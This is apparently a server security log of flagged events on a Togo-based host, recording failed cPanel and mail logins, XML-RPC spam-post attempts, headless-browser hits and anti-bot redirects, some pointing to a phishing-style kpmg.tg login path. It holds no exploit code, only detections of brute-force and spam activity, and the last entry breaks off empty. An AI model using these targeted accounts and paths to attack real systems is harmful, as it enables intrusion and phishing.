abuser: 205.169.39.18
country_id: 6252001
description:
205.169.39.18 - - [02/Jul/2026:04:12:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052041&pdata=http%253A%252F%252Fsbvdn6.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782965555 HTTP/1.1" 302 0 sbvdn6.mediatopnews.tg "http://sbvdn6.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.18


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.19.200.149
country_id: 6252001
description:
[2026-07-02 04:14:01 +0000] info [whostmgrd] 37.19.200.149 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.70.175.206
country_id: 1814991
description:
81.70.175.206 - - [02/Jul/2026:04:15:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988453&pdata=https%253A%252F%252Fvitrinenews.tg%252F2024%252F04%252F04%252Fanpe-togo-formation-metier-et-insertion-professionnelle-des-jeunes-les-resultats-de-preselection-disponibles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782965701 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2024/04/04/anpe-togo-formation-metier-et-insertion-professionnelle-des-jeunes-les-resultats-de-preselection-disponibles/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.70.175.206


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.17
country_id: 6252001
description:
205.169.39.17 - - [02/Jul/2026:04:16:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934746&pdata=http%253A%252F%252Fluboxx.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782965771 HTTP/1.1" 302 0 luboxx.free.netmaster.tg "http://luboxx.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.17


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.254.96.13
country_id: 1562822
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/tag/total-devient-totalenergies/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.243.254.122
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 158.94.211.154
country_id: 2750405
description:
2026-07-02 04:19:29 H=([158.94.211.154]) [158.94.211.154]:64491 F=<Docusign_files@carib-link.net> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.178.126
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1363 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.53.127.145
country_id: 102358
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1014 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.60.205.187
country_id: 1210997
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1909 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.123.111.150
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1675 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.222.252.29
country_id: 298795
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=387 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.192.46.126
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=1&paged=5 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.104.106
country_id: 6252001
description:
[2026-07-02 04:20:48 +0000] info [whostmgrd] 23.234.104.106 - abttogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f30250d42fcea1244fbfab17b5da90171a76d459||Title:nrr1hi2s6y1hj795||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.96.145.32
country_id: 3996063
description:
2026-07-02 04:22:25 dovecot_plain authenticator failed for H=fixed-186-96-145-32.totalplay.net ([69.172.210.47]) [186.96.145.32]:49196: 535 Incorrect authentication data (set_id=admin@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.24
country_id: 6252001
description:
205.169.39.24 - - [02/Jul/2026:04:22:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132119&pdata=http%253A%252F%252Fujjhos.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782966143 HTTP/1.1" 302 0 ujjhos.mediatopnews.tg "http://ujjhos.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.24


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.237.242.66
country_id: 6252001
description:
2026-07-02 04:22:39 dovecot_plain authenticator failed for H=pool-96-237-242-66.bstnma.fios.verizon.net ([69.172.210.47]) [96.237.242.66]:52016: 535 Incorrect authentication data (set_id=support@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.26.212.105
country_id: 6252001
description:
2026-07-02 04:22:53 dovecot_plain authenticator failed for H=([69.172.210.47]) [66.26.212.105]:56546: 535 Incorrect authentication data (set_id=marketing@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:394331deb2d9b64719d707810dce1d9c6cf1c112||Title:4m80wcgzqjxx0y||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.108.156
country_id: 1210997
description:
2026-07-02 04:22:08 dovecot_plain authenticator failed for H=([69.172.210.47]) [103.148.108.156]:46194: 535 Incorrect authentication data (set_id=info@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.25.52.117
country_id: 3932488
description:
2026-07-02 04:23:23 dovecot_plain authenticator failed for H=([69.172.210.47]) [38.25.52.117]:20206: 535 Incorrect authentication data (set_id=contacto@tps.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 119.188.3.169
country_id: 1814991
domain: www.ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sunu-group.com||User:egjvuiox||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1568aa419590c65f68bccef28b0ddb6a1663a327||Title:y4ki6m6utbq8t2x6d||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.164.15.122
country_id: 3508796
description:
2026-07-02 04:23:49 dovecot_plain authenticator failed for H=([69.172.210.47]) [45.164.15.122]:55739: 535 Incorrect authentication data (set_id=comercial@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.39.13.202
country_id: 2635167
description:
2026-07-02 04:23:35 dovecot_plain authenticator failed for H=([69.172.210.47]) [82.39.13.202]:61641: 535 Incorrect authentication data (set_id=financeiro@tps.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 122.189.121.64
country_id: 1814991
domain: www.ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.nsiassurancestogo.com||User:egjvuiox||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.210.182.3
country_id: 2921044
description:
2026-07-02 04:24:21 dovecot_plain authenticator failed for H=([69.172.210.47]) [2.210.182.3]:56996: 535 Incorrect authentication data (set_id=accounts@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.229.212.7
country_id: 3469034
description:
2026-07-02 04:24:52 dovecot_plain authenticator failed for H=([69.172.210.47]) [200.229.212.7]:53182: 535 Incorrect authentication data (set_id=hr@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.225.192.218
country_id: 1562822
description:
2026-07-02 04:24:06 dovecot_plain authenticator failed for H=([69.172.210.47]) [171.225.192.218]:20432: 535 Incorrect authentication data (set_id=it@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.39.231.67
country_id: 2017370
description:
2026-07-02 04:24:35 dovecot_plain authenticator failed for H=([69.172.210.47]) [46.39.231.67]:39309: 535 Incorrect authentication data (set_id=suporte@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cb7bfdaf8e8d5012d70912bf71012006cd54cafb||Title:6hofv6v6re0552ukb||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.34.33
country_id: 6252001
domain: sinalcotg.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sinalcotg.snb.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9749b97ab0143d081c7a384f5ab06f1f4cf3c814||Title:ixuje1j5ap7q1s||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.71.25.32
country_id: 2017370
description:
2026-07-02 04:25:08 dovecot_plain authenticator failed for H=128-71-25-32.broadband.corbina.ru ([69.172.210.47]) [128.71.25.32]:42249: 535 Incorrect authentication data (set_id=office@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.113.29.182
country_id: 3895114
description:
2026-07-02 04:25:42 dovecot_plain authenticator failed for H=([69.172.210.47]) [191.113.29.182]:39352: 535 Incorrect authentication data (set_id=ventas@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.43.124.3
country_id: 6254930
description:
2026-07-02 04:25:23 dovecot_plain authenticator failed for H=([69.172.210.47]) [46.43.124.3]:59486: 535 Incorrect authentication data (set_id=soporte@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.22
country_id: 6252001
description:
205.169.39.22 - - [02/Jul/2026:04:25:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105437&pdata=http%253A%252F%252Fdavetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782966348 HTTP/1.1" 302 0 davetechno.tg "http://davetechno.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.22


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.69.71
country_id: 6252001
description:
[2026-07-02 04:26:25 +0000] info [cpaneld] 23.234.69.71 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.214.210.204
country_id: 1512440
description:
2026-07-02 04:26:48 H=([95.214.210.204]) [95.214.210.204]:24186 F=<waphf@white-ways.com> rejected RCPT <waphf@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ee1abd09ce09dfe520dbf6af9c1c28229bc276fc||Title:a3h2yo4jsrhw9d58||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.249.131.150
country_id: 6252001
description:
44.249.131.150 - - [02/Jul/2026:04:27:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997871&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252F5c90f2f921bb381fb6596f228113d0c7%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782966455 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/5c90f2f921bb381fb6596f228113d0c7/index.php?cmd=newupld" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.249.131.150


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a1cb4159b62accc40dff754c45f1d88b403b2652||Title:7ig6tom5typgsrx||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cda68e3620f8d833e4c71ab67b625b2a24463a7c||Title:yj1g27idber7uozwz4||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:765dfac64b0c09deb1cdc9209215b03f06d4231a||Title:hvfxoi6m43asq19tw||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.12
country_id: 1880251
description:
47.128.121.12 - - [02/Jul/2026:04:31:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9593192&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fjacques-alaixys-romao%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782966659 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/jacques-alaixys-romao/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.12


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f21f7f804a36cd457e0fade4a006b1dbfa7078e9||Title:e7jbyvk0x1nx9m3||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:10967ec48b303496f24b80ac1d363a1ada6d1aed||Title:wyqftqf9irsixh||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9cedba1d6211f37a039951c20a3fd7082e6f4191||Title:bioacd60u9am1mfzx8||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  2 04:32:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d799b43d481c31f8ec803d6b1dd3f1f0d9e4ac17||Title:qv3h8ioe8vked6||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.53
country_id: 6252001
description:
205.169.39.53 - - [02/Jul/2026:04:33:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131815&pdata=http%253A%252F%252Fl4u8i0.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782966837 HTTP/1.1" 302 0 l4u8i0.mediatopnews.tg "http://l4u8i0.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.53


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.249.253.107
country_id: 6252001
description:
[2026-07-02 04:33:12 +0000] info [cpaneld] 173.249.253.107 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b527a5e923bd4ac4625fda0dd23d09c520cdb5e3||Title:3kxko2lq06dcx20g||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.186.169
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:72f66b30d4e65065391ce8b66ad5745634c6b3b3||Title:15xxoe6nfh0evchx||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.162.40.106
country_id: 6252001
description:
[2026-07-02 04:40:09 +0000] info [cpaneld] 23.162.40.106 - kidsedunetmaster "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kidsedunetmaster (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.162.40.106
country_id: 6252001
description:
23.162.40.106 - - [02/Jul/2026:04:40:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661799&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967204 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.198 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.162.40.106


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:29e7350b9923e6dfc4e3c57d298feb322c0dda67||Title:7m3t076hcggsni||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 170.199.224.250
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:170.199.224.250||TA:170.199.224.250||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b87cb39924c8633d24d9ea0579dd39472fa41f3b||Title:hxayzvx4qighy5nv4||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.252.81.193
country_id: 6252001
description:
44.252.81.193 - - [02/Jul/2026:04:41:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857643&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252F5c90f2f921bb381fb6596f228113d0c7%252Findex.php%253Fcmd%253Dnewupld%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967287 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/5c90f2f921bb381fb6596f228113d0c7/index.php?cmd=newupld/" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.252.81.193


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 32.186.121.187
country_id: 6252001
description:
32.186.121.187 - - [02/Jul/2026:04:41:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726623&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F0e3d26786953aa33eaa79d2011a94992%252F223e0c8cca861474d24cfd8905cb5776%252F40636423c4130eeb315603afd55740c9%252Findex.php%253Fcmd%253Dlogin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782967299 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/0e3d26786953aa33eaa79d2011a94992/223e0c8cca861474d24cfd8905cb5776/40636423c4130eeb315603afd55740c9/index.php?cmd=login/" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:32.186.121.187


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.116.196.176
country_id: 1269750
description:
[2026-07-02 04:41:59 +0000] info [cpaneld] 66.116.196.176 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.209.220.49
country_id: 2287781
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/tag/depots-de-gerbes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.148.40.131
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/depots-de-gerbes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:323a0da19c895d58c75fff5af932bc5ac06bdd7c||Title:27ot704l2997ll||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f07eb215a46f366f7d584d247c792fd8f66392bc||Title:78v4xntftjazd7tnk3||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.206.137.204
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:78cb5818c9906c49b54fca51c6256556aa69c3e2||Title:ar4uizjp7asip1c3||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.13
country_id: 6252001
description:
